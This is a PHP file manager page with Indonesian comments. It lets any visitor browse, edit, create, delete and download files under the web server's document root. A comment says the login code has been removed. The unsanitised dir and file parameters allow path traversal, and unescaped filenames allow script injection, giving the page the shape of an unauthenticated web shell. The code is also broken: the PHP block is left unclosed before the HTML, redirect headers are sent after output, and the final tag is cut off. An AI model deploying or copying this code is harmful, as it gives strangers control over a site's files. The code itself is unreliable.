File Manager

<?php
// Tidak memerlukan session untuk login/logout, kode terkait login dihapus

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager</title>
    <style>
        /* Gaya tampilan */
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            background-color: #f4f4f4;
            color: #333;
        }

header {
            background-color: #4d90fe;
            color: white;
            padding: 15px 20px;
            text-align: center;
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
        }

header h1 {
            margin: 0;
            font-size: 24px;
        }

main {
            max-width: 900px;
            margin: 20px auto;
            background: white;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
        }

table {
            width: 100%;
            border-collapse: collapse;
            margin: 20px 0;
            font-size: 16px;
            border: 1px solid #ddd;
        }

table th, table td {
            padding: 15px;
            text-align: left;
        }

table th {
            background-color: #efefef;
            font-weight: bold;
        }

table tr:nth-child(even) {
            background-color: #f9f9f9;
        }

table tr.file td:nth-child(3) a {
            display: inline-block;
            margin-right: 10px;
            padding: 5px 10px;
            border-radius: 4px;
            text-decoration: none;
            font-size: 14px;
        }

table tr.file td:nth-child(3) a.edit {
            background-color: #4caf50;
            color: white;
        }

table tr.file td:nth-child(3) a.delete {
            background-color: #f44336;
            color: white;
        }

table tr.file td:nth-child(3) a.download {
            background-color: #2196f3;
            color: white;
        }

.form-control {
            display: block;
            width: 100%;
            padding: 10px;
            font-size: 16px;
            border: 1px solid #ccc;
            border-radius: 4px;
            box-sizing: border-box;
            margin-bottom: 10px;
        }

textarea {
            height: 200px;
        }

.button {
            display: inline-block;
            background-color: #4d90fe;
            color: white;
            padding: 10px 20px;
            font-size: 16px;
            text-decoration: none;
            border-radius: 4px;
            cursor: pointer;
        }

.button:hover {
            background-color: #357ae8;
        }
    </style>
</head>
<body>
<header>
    <h1>File Manager</h1>
</header>
<main>
    <?php
    // Menentukan root direktori
    $dir = $_SERVER['DOCUMENT_ROOT'];

// Mendapatkan subdirektori jika ada
    $subdir = isset($_GET['dir']) ? $_GET['dir'] : '';

// Mendapatkan daftar file dan folder
    $items = scandir($dir . '/' . $subdir);

// Memisahkan file dan folder
    $folders = [];
    $files = [];
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $fullpath = $dir . '/' . $subdir . '/' . $item;
        if (is_dir($fullpath)) {
            $folders[] = $item;
        } else {
            $files[] = $item;
        }
    }

// Mengurutkan folder dan file secara abjad
    sort($folders);
    sort($files);

// Menggabungkan folder dan file
    $sortedItems = array_merge($folders, $files);

// Fungsi format ukuran file
    function formatSizeUnits($bytes) {
        if ($bytes >= 1073741824) {
            return number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            return number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            return number_format($bytes / 1024, 2) . ' KB';
        } else {
            return $bytes . ' bytes';
        }
    }

// Jika parameter file diberikan
    if (isset($_GET['file'])) {
        $file = $_GET['file'];
        $fullpath = $dir . '/' . $file;
        if (is_file($fullpath)) {
            $content = file_get_contents($fullpath);
            echo '<form method="post" action="?save=true&file=' . $file . '">';
            echo '<textarea name="content" class="form-control">' . htmlspecialchars($content) . '</textarea>';
            echo '<button type="submit" class="button">Save</button>';
            echo '</form>';
        }
    } else {
        // Tampilkan tabel file dan folder
        echo '<a href="?add=true&dir=' . $subdir . '" class="button">Add File</a>';
        echo '<table>';
        echo '<thead><tr><th>Name</th><th>Size</th><th>Options</th></tr></thead>';
        echo '<tbody>';
        foreach ($sortedItems as $item) {
            $fullpath = $dir . '/' . $subdir . '/' . $item;
            if (is_dir($fullpath)) {
                // Tampilkan folder
                echo '<tr class="folder">';
                echo '<td><strong>Folder:</strong> <a href="?dir=' . $subdir . '/' . $item . '">' . $item . '</a></td>';
                echo '<td>-</td>';
                echo '<td>-</td>';
                echo '</tr>';
            } else {
                // Tampilkan file
                echo '<tr class="file">';
                echo '<td>' . $item . '</td>';
                echo '<td>' . formatSizeUnits(filesize($fullpath)) . '</td>';
                echo '<td>';
                echo '<a href="?file=' . $subdir . '/' . $item . '" class="edit">Edit</a>';
                echo '<a href="?delete=true&file=' . $subdir . '/' . $item . '" class="delete">Delete</a>';
                echo '<a href="?download=true&file=' . $subdir . '/' . $item . '" class="download">Download</a>';
                echo '</td>';
                echo '</tr>';
            }
        }
        echo '</tbody>';
        echo '</table>';
    }

// Simpan perubahan pada file
    if (isset($_POST['content']) && isset($_GET['save']) && isset($_GET['file'])) {
        $file = $_GET['file'];
        $fullpath = $dir . '/' . $file;
        file_put_contents($fullpath, $_POST['content']);
        header('Location: ?file=' . $file);
        exit;
    }

// Hapus file
    if (isset($_GET['delete']) && isset($_GET['file'])) {
        $file = $_GET['file'];
        $fullpath = $dir . '/' . $file;
        unlink($fullpath);
        header('Location: ?dir=' . $subdir);
        exit;
    }

// Download file
    if (isset($_GET['download']) && isset($_GET['file'])) {
        $file = $_GET['file'];
        $fullpath = $dir . '/' . $file;
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($fullpath) . '"');
        header('Content-Length: ' . filesize($fullpath));
        readfile($fullpath);
        exit;
    }

// Form tambah file baru
    if (isset($_GET['add'])) {
        echo '<form method="post" action="?create=true&dir=' . $subdir . '">';
        echo '<input type="text" name="filename" class="form-control" placeholder="Enter file name">';
        echo '<textarea name="content" class="form-control" placeholder="Enter file content"></textarea>';
        echo '<button type="submit" class="button">Create</button>';
        echo '</form>';
    }

// Tambahkan file baru
    if (isset($_POST['filename']) && isset($_POST['content']) && isset($_GET['create'])) {
        $filename = $_POST['filename'];
        $fullpath = $dir . '/' . $subdir . '/' . $filename;
        file_put_contents($fullpath, $_POST['content']);
        header('Location: ?dir=' . $subdir);
        exit;
    }
    ?>
</main>
</body>
</html